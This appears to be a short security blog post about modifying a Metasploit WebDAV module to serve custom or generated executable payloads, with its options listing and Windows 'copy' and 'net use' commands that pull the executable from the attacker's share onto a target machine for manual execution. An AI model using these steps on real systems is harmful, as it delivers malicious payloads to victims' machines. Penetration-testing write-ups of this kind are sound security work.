WebDAV Server to Download Custom Executable or MSF Generated Executables

The current module does not allow you to download exe's, in fact these are specifically blacklisted. This makes sense because that's not what the exploit is for.  Anyway, someone asked me if it was  possible to download a file (specifically a pre-generated exe) over WebDAV.  I know an auxiliary module to be a webdav server has been a request for awhile, but it looked like the dll_hijacker module could accomplish it. I added a block of code to the process_get function to handle the exe and then removed .exe from the blacklist.

So if LOCALEXE is set to TRUE then serve up the local exe in the path/filename you specify, if not generate an executable based on the payload options (Yes, I realize AV will essentially make this part useless).

The below is a "show options" with nothing set, default is to generate a EXE payload, if you want to set your own local EXE you need to set LOCALEXE to TRUE.

msf  exploit(webdav_file_server) > show options

Module options (exploit/windows/dev/webdav_file_server):


   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   BASENAME    policy           yes       The base name for the listed files.
   EXTENSIONS  txt              yes       The list of extensions to generate
   LOCALEXE    false            yes       Use a local exe instead of generating one based on payload options
   LOCALFILE   myexe.exe        yes       The filename to serve up
   LOCALROOT   /tmp/            yes       The local file path
   SHARENAME   documents        yes       The name of the top-level share.
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     80               yes       The daemon port to listen on (do not change)
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH     /                yes       The URI to use (do not change).

I've tested this on windows 7 and windows XP and I've been told this works with IE7 and below but not IE8. I've just been executing it on the command line.

Usage*:

copy \\ip\documents\myexe.exe myexe.exe

You may have to net use first

net use \\ip\documents\ /User:Guest

You'll see windows attempt the request of SMB, fail, then switch to doing the WebDAV thing.

Once the bin is on the box you can exec the bin manually.

*there are a couple of other ways to run this, the guy that asked me to help with all this will have a post on it soon.

code is HERE in the github repo, be gentle i dont usually do exploit code...
